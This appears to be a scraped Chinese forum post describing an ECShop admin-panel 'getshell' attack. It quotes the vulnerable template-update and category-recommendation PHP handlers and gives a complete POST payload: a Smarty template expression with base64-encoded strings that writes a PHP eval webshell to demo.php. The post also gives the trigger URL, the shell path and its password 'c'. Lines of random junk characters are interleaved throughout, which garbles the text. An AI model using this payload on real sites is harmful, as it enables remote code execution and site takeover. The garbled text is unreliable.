Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 e+ k+ o( l  ^* i) T
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
9 p5 }1 m' _" z! t$ x) }4 G# B) [
1 if ($_REQUEST['act'] == 'update_library')
! P  _1 |) s1 R, B8 K. q
2   

* I" C( T  t( @- O: ~* v+ V& {3 {
" D/ @( a, H6 L& [- H
4     check_authz_json('library_manage');

# c/ Y6 t" F0 G% s: U9 v) k& o5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
1 U  ]2 F# T: y3 F7 d
3 n1 Q) u. o+ ?5 T/ D5 g7   
) O$ Y: ~% H+ H; X% g7 @
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

- C1 a- g/ o: N6 I9 z3 {10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
+ R5 w7 T. L. s3 Q7 V
  ^  w% s  z! s4 c4 D: g5 @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
0 z# M- h9 v0 ?6 i5 \4 _  u
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: n. v* z7 ]. F+ {7 s. \
2 l2 s) `7 `$ q+ V! p' ^" I15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

9 P- ]5 C- r) Z; W$ z( g17         make_json_result('', $_LANG['update_lib_success']);

18     }
6 h- ^2 Y: f6 G6 U# N% N8 ~
19     else

20     {
" T2 m3 [3 @9 ~" F- ]/ S
, m1 [2 p5 @8 h21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ y, a/ a) h+ O  `7 d: p0 ^
' S5 ^9 T* Q" A( g: M) T22     }
8 M( W% d4 F# N
23 }
# j, G7 @4 O# r" R6 ~+ t6 Z
那么找个比较方便调用了模板的文件
index.php
( _/ d; x1 w& J* y+ I& c
* ?2 K! z& Z, N1 if ($act == 'cat_rec')
# f+ [4 u  |9 V5 q
2   

3 {
7 Y7 ]4 [( _. J" s
4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

7 c9 B2 M0 n0 k% R6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 B0 z# a* b$ e4 f* Z0 y7 p
8   
, `6 e. }. i1 Z" R& Y# G% e
7 [. ^% n& R" w9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
) {' \! U% z5 D- Q* \
10   

11     include_once('includes/cls_json.php');
& J) L' f& t0 t/ b% U2 K8 W& |
, U1 X6 S0 x3 Y4 r12   

! `& Q. ]% }; I; Y: L6 z0 }; B; G) W13     $json = new JSON;

14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; }0 m' F5 }5 V1 V3 W
16   

8 o: e9 H7 H4 i1 R! `" [17     $children = get_children($cat_id);
# r# M& I& Z' Q4 D, r. O  Q1 U. c; n
/ |# m: C2 }& L' B3 H5 f18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# B! d- ^  |0 G/ E
20   
( t9 p6 u; r- ?  d( w8 Q
9 G+ P, _! H; i7 S3 [* o5 J; o+ G21     $smarty->assign('cat_rec_sign', 1);
3 `. x& E# _. o' u7 R' R
* D5 Z8 {7 I1 ]+ j4 n22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 {' |! t: Y1 b+ c- n. A
24   

9 u  ?. k0 w% y0 f25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

+ B& K" }" R% k7 _/ s26   

27         echo $rec_array[$rec_type];

28   
6 X, d9 O' W  ^, a
) H' k' q. p2 W( h* i29     die($json->encode($result));

2 r$ A3 R1 Q  z! o! H8 f30   

7 @0 b" w2 z; D, \5 \31 }

% O% F1 b2 V9 w+ V: Q/ V1 _; l那么就有利用方法了
  x8 D: O2 A% w9 g6 X5 P; Ppost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
9 J1 Q1 j; ?. s
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
! h1 }/ V( m" m& u" w" j& J
+ |5 H5 N- }) f; w) e( l然后访问http://localhost/ec/index.php?act=cat_rec
+ V: w- I0 p' w4 O9 ^. Q: d
  V+ T: t# Z5 U. j- wshel地址：http://localhost/ec/demo.php
密码c
9 B5 n2 q( v' L8 e9 g8 ~4 d9 t9 O